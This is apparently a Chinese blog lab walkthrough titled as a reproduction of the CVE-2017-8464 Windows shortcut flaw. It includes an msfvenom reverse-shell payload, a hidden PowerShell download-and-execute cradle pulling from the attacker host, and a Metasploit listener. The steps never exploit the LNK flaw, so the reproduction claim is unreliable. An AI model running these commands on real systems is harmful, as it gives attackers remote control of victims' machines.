zoukankan      html  css  js  c++  java
  • CVE-2017-8464远程命令执行漏洞(震网漏洞)复现

    2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。
    漏洞描述
     
    攻击者可以向用户呈现包含恶意的.LNK文件和相关联的恶意二进制文件的可移动驱动器或远程共享。 当用户在Windows资源管理器或解析.LNK文件的任何其他应用程序中打开此驱动器(或远程共享)时,恶意二进制程序将在目标系统上执行攻击者选择的代码,成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。
    注释:.LNK是windows系统内应用程序快捷方式文件的文件类型后缀名。
    漏洞利用条件和方式: 
    远程利用
    漏洞影响范围: 
    • Microsoft Windows 10 Version 1607 for 32-bit Systems
    • Microsoft Windows 10 Version 1607 for x64-based Systems
    • Microsoft Windows 10 for 32-bit Systems
    • Microsoft Windows 10 for x64-based Systems
    • Microsoft Windows 10 version 1511 for 32-bit Systems
    • Microsoft Windows 10 version 1511 for x64-based Systems
    • Microsoft Windows 10 version 1703 for 32-bit Systems
    • Microsoft Windows 10 version 1703 for x64-based Systems
    • Microsoft Windows 7 for 32-bit Systems SP1
    • Microsoft Windows 7 for x64-based Systems SP1
    • Microsoft Windows 8.1 for 32-bit Systems
    • Microsoft Windows 8.1 for x64-based Systems
    • Microsoft Windows RT 8.1
    服务器系统
    • Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
    • Microsoft Windows Server 2008 R2 for x64-based Systems SP1
    • Microsoft Windows Server 2008 for 32-bit Systems SP2
    • Microsoft Windows Server 2008 for Itanium-based Systems SP2
    • Microsoft Windows Server 2008 for x64-based Systems SP2
    • Microsoft Windows Server 2012
    • Microsoft Windows Server 2012 R2
    • Microsoft Windows Server 2016
    漏洞复现:
     
    利用原理:
    创建恶意快捷方式,包含恶意执行脚本,点击恶意快捷方式,导致本机中病毒。
    环境搭建:
    攻击机:kali  ip:10.0.0.140
    目标靶机:win2008r2x64 ip:192.168.99.104
    1.kali下生成一个反弹的 ps1的shell:
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.140 lport=5555 -f psh-reflection>/opt/search.ps1
     
    2.切换到opt目录,然后查看到已生成了search.ps1 的powershell 后门
    cd /opt
     
     
    3.将生成的search.ps1拷贝到/var/www/html目录下
    mv search.ps1 /var/www/html
     
    4.启动apache服务
    service apache2 start
     
     
    5.访问web下的search.ps1,可以直接访问:
     
     
     
    6.在靶机上创建一个powershell远程快捷:
    powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.140/search.ps1');test.ps1"
     
    7.名称为:powershell.exe
     
     
    8.kali下创建监听反弹,并且可以看到成功反弹出靶机的shell:
    use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpshow optionsset LHOST 10.0.0.140set lport 5555 exploit
  • 相关阅读:
    js let
    go 语言
    第二十七篇、使用MVVM布局页面
    第二十六篇、因为自定item(nav)而使系统右滑返回手势失效的解决方法
    第四篇、点赞的粒子动画
    第二十五篇、抽屉效果的核心代码
    第二十四篇、iOS 10版本适配
    第二十三篇、使用NSURLSession时需要注意一个内存泄漏问题
    第十四篇、Ajax与Json
    第十三篇、jQuery Mobile
  • 原文地址:https://www.cnblogs.com/wushangguo/p/9085251.html
Copyright © 2011-2022 走看看